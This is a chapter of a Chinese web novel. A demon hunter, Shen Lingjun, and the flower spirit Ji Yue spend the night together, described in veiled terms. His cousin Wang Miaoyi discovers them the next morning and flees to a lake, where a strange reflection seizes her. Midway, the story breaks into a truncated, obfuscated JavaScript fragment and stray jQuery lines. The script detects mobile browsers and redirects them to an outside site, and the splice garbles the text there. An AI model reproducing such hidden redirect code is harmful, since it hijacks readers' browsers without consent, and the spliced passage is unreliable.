72. 牡丹真国色(七)

作品:《花妖偷渡手记

    沈府静悄悄的,众人都歇下了,柳树梢头嵌着一轮弯月,风送芙蕖清芬,不时传来几声蛙语蝉鸣。


    沈灵均本打算去看看表妹。因他不好好用饭,整日和师父关在书房里议事,王妙仪已经积了几天的火气,眼看就要爆发了,得赶紧安抚一下。


    可方才听天一道长说要招揽韩思年,心头顿时窜起一股邪火,再也压制不住。


    原来学艺无关资质,修道也非必须,全凭道长一句话,两片黑嘴唇一张一合,就把别人的一生安排了。


    平心而论,师父于他有恩。他执剑捉妖,也是出于匡扶正义,锄强扶弱的本心。可谁会愿意被欺骗,被利用,被算计得明明白白。


    他相信如果遇到危险,师父会毫不犹豫地挡到前面,正如他毫不犹豫地给唯一的弟子喂下毒丸。


    辞官的念头无比强烈。没了捉妖师的身份,他就能光明正大地和季月在一起。


    季月心思单纯,心地善良,几次三番施以援手,真心为他着想,而且,从来都没有骗过他。


    季月……他此刻想见的只有季月。


    禁制一触即解,推开房门,屋子里光线昏暗,季月伏在桌前,从一本书上抬起头,发丝凌乱,昏黄烛火映出她莹润如玉的侧脸。


    她睡眼惺忪地看了看他,“是你啊,进屋怎么不敲门?”


    沈灵均背过手,在身后门板上敲了几下。


    季月嘟囔道,“刚要做梦,就被你吵醒了。”


    沈灵均走近一看,桌上摊着一本诗集,是前朝一位文豪所著,以词句工丽闻名。


    他笑她,“你对着诗集做梦?”


    “也不知道怎么回事,每次翻开这本书,看两个字就困了,都坚持不到第二页。”


    “那你还看?”


    “韩公子说,这里头写的是男女相思,柔情蜜意,两处销魂……”


    一听她提及韩公子,沈灵均脸色一沉,伸过手去把书合上。


    “不许提他。”


    “为什么?”


    “因为这里是沈府,只准看我,想我,只准和我一个人说话。”


    季月呆呆看他。从没见过他这般蛮不讲理的模样。


    “你把我关在这里,就是打的这个主意?”


    沈灵均原本的计划,是劝她偷偷溜走,最好能神不知鬼不觉地逃回妖界去。这样一来,他不用与她为敌,南安县也能肃清妖邪,一个月之后,天一道长终究会心软,给他解药。


    虽然要暂时分别,总好过兵刃相见。


    可他此刻心情异常,所有的理智权衡都抛诸脑后。


    他沉声道,“是啊,我就是要逼你嫁给我。”


    季月跳起来,“你不是说到了沈府慢慢想,不着急么?”


    “这话你也信?”


    “你们男人惯会骗人!”


    “女人也是一样。”


    他随手揽过她的腰。她微微挣了一下,才发现他眼睛里都是血丝。


    “你的脸色怎么这么难看?”


    “脸色难看打什么紧?人长得好看就行了。”


    季月眨巴着眼睛,“你今晚不太对劲。”


    “阿月,我喜欢你。往后余生,除了责任和道义,若我还想奢求一点快乐,只有和你在一起。”


    “为什么?”


    “因为人心难测,唯独你有一颗玲珑剔透心。”


    季月凝视他良久,花妖没有心,可他这话很中听,说话的样子,也很中看。


    她温柔地捧起他的脸,“我也喜欢你。”


    这回是她先吻上去,唇齿相接,没了上一次的慌乱,极尽缠绵。


    身体深处有什么东西醒了过来,像一头野兽战栗着咆哮。


    啪地一声,蜡烛爆了个灯花。


    季月把脸埋在他颈窝里,隔着衣服,听到沈灵均的心跳犹如擂鼓。


    “是不是你师父折磨你了?我都说了他是妖嘛。”


    “……他比妖还都凶残。”


    “放心,有我在,不会让他欺负你的。”


    沈灵均闭目良久,再睁开的时候,眼睛里竟然泪光莹然。


    季月一向觉得他深沉可靠,这时看他,倒像个受了委屈的孩子。


    她踮起脚,轻咬他的耳垂,柔声道,“以后不准再拿剑指着我了,夫君。”


    沈灵均浑身一颤,身体里燃起一把火。


    他将她打横抱起,放到床上,俯身去解她的衣带。


    轻纱拂动,烛影摇曳,视野中渐渐只剩对方的脸。


    人眼看不见的纤细枝条,从季月身后向四面八方生长,延伸到床角,攀上纱幔,绕过沈灵均的后背,蜿蜒曲折,纠结缠绕。


    水乳交融的那一刻,枝条上无数鲜红的月季花顷刻盛开,整张床沉入灼灼花海。


    花瓣把他们一重重包裹起来,与尘世彻底隔绝。


    夏夜悠长,犹嫌不够长。


    沈灵均次日醒来的时候,枝条尚未消失,还有零星的花瓣飘落。


    季月靠在他胸膛,两颊微红,睡颜恬静。


    披散的长发缠在一起,无意中打了许多个结。沈灵均痴痴地看了半天,想到结发为夫妻,恩爱两不疑的诗,不由动容。


    若能一直如此相守,该有多好。


    惟恐世间好物不坚牢,如春花秋蝶,转瞬即逝。


    正在思潮起伏,忽然听到有人拍门。


    咚咚咚,拍得甚响。


    “季姑娘,你出来!”


    是表妹。声音听起来气急败坏。


    沈灵均慌忙跳下床,披上衣服,系好腰带,束起头发,套上靴子。


    一通忙乱毕,朝镜子里看了一眼。背后,季月拥着被子坐起来,眼神茫然。


    “一大早的,谁在扰人清梦?”


    他转头微笑,“你再睡一会。我去看看。”


    她咕哝一声,栽倒下去,躺成一条直线。


    沈灵均暗自好笑。这朵月季花恐怕是最爱睡懒觉的妖了。


    外面,王妙仪已经把手掌都拍红了。


    “再不出来,我就要硬闯了!”


    房门打开,沈灵均一脸淡定地看着她。


    “我设了禁制,你闯不进去的。找季姑娘有何事?”


    王妙仪呆呆地看着表哥,好像不认识似的。


    “妙仪?”


    她突然退后两步,高声叫道,“你为何从她房里出来?!”


    “我们昨晚在……商议要事。”


    王妙仪看他脸色,眼下两圈乌青,眉宇间隐然有春色。


    她越发心悸,喉头发紧,“我昨晚熬了补药,四处找你。你不在房间。书房里只有天一道长一人。”


    说到此处顿了顿,泪光莹然,“下人说你没有出府。我每间屋子都找过了,只剩这里。你们孤男寡女,无名无份,共处一室,成何……成何体统?!”


    沈灵均语塞,他们不但共处一室,还同床共枕了。表妹从小端庄守礼,容不得一点逾矩之事,何况是这等离经叛道的恋情。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115236|179499||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“此事容我慢慢和你解释。”


    “我现在就要知道!你是不是真的和她有男女之情?”


    身后脚步声响,季月揉着眼睛走出来。


    王妙仪见她披头散发、衣衫不整,心头剧震,“你们两个……不顾礼法……寡廉鲜耻……”


    季月不耐烦道,“王姑娘,我和你表哥两情相悦,这不比礼法更重要么?”


    王妙仪眼眶越来越红,终于忍不住嚎啕大哭。


    沈灵均眉头拧成川字。表妹从小和自己相依为命,性格又是一根筋,钻了牛角尖,须得好好劝解。可眼下内忧外患,实在难以分神。


    他回过头,“阿月,你先进去好不好?”


    “不好。”


    “乖。”


    季月看了看他,又看了看王妙仪,抿嘴一笑,“听夫君的。”


    更要命的是,转身以前,还凑过来在他脸上亲了一口。


    王妙仪脸色惨白。


    她从小爱慕表哥,却不能明言。因沈灵均是修道之人,要摈弃一切世俗欲念,这份爱慕像一颗种子,一直压在心底的缝隙,靠着偶尔漏下来的阳光雨露,默默滋长,不知不觉爬满所有角落。


    若是表哥一心向道,也就罢了。可他偏偏对别人动了心。情愿为了她抛下一切。自己得不到的东西,别人却要得到了。数十年相依为命的情分,还敌不过一个认识不到一年的外人。


    她哭得上气不接下气,“我要去问问天一道长,捉妖师能不能有男女之情。”


    沈灵均心中一凛。昨晚太过忘形,若师父知道自己与季月缠绵一宿,定会横生事端,说不定不等伤愈就亲自对她动手。到时,局面可难以收拾。


    “别去打搅师父清修!最近外面乱得很,你好好地呆在房里,就是帮了我大忙了。”


    王妙仪见他对自己疾言厉色,伤心更甚,歇斯底里地喊道,“骗子!都是骗子!从今往后我再也不会听你的话了!”


    她转身飞奔而去,穿过庭院、长廊,一路冲出府门。沈灵均赶紧追到门外,只见清河街上静悄悄的,只有零星行人,晨雾尚未散去,柳树梢头皆似笼着一层白纱。


    而他这个向来文静柔弱的表妹,已经跑得没影了。


    王妙仪低着头狂奔,只想离开沈府越远越好。眼中蓄满了泪,看不清路,撞到行人也不停步,直跑到耳中嗡嗡作响,一颗心像要从嗓子眼里窜出来。


    她擦了擦额上的汗,发现自己一口气跑到了镜湖边,绿草茵茵,风拂柳枝,水面反射的阳光刺进眼底,生疼。


    湖边三三两两的游人,见她一个文弱女子,跑得气喘吁吁,鬓发散乱,像身后有恶鬼追杀似的,尽皆侧目。


    明明没有人追她啊。


    王妙仪一步步走到岸边,临水自照。


    镜湖波平如镜,因而得名。她此刻失魂落魄的模样清清楚楚地映在水中,双眼红肿,粉腮上挂着泪珠,滴滴答答往下淌。


    她伫立良久,脸颊被烈日晒得发烫,几欲跃入水中,和自己的影子合为一体,总好过留在世上,受那伤心断肠的折磨。


    正这么想着,突然浑身一颤。那水中的自己,竟然在笑!


    红润的嘴唇微微翘起,眼波流转间,还冲岸上抛了个媚眼。


    王妙仪惊出一身冷汗,仔细一看,这哪还是自己的影子?身形变高、变大,素色衣裙鼓胀撑开,五官变幻,组合成一张容色倾城的陌生面孔。


    她想逃走,却迈不动步子,整副心魂都被那倒影吸了进去。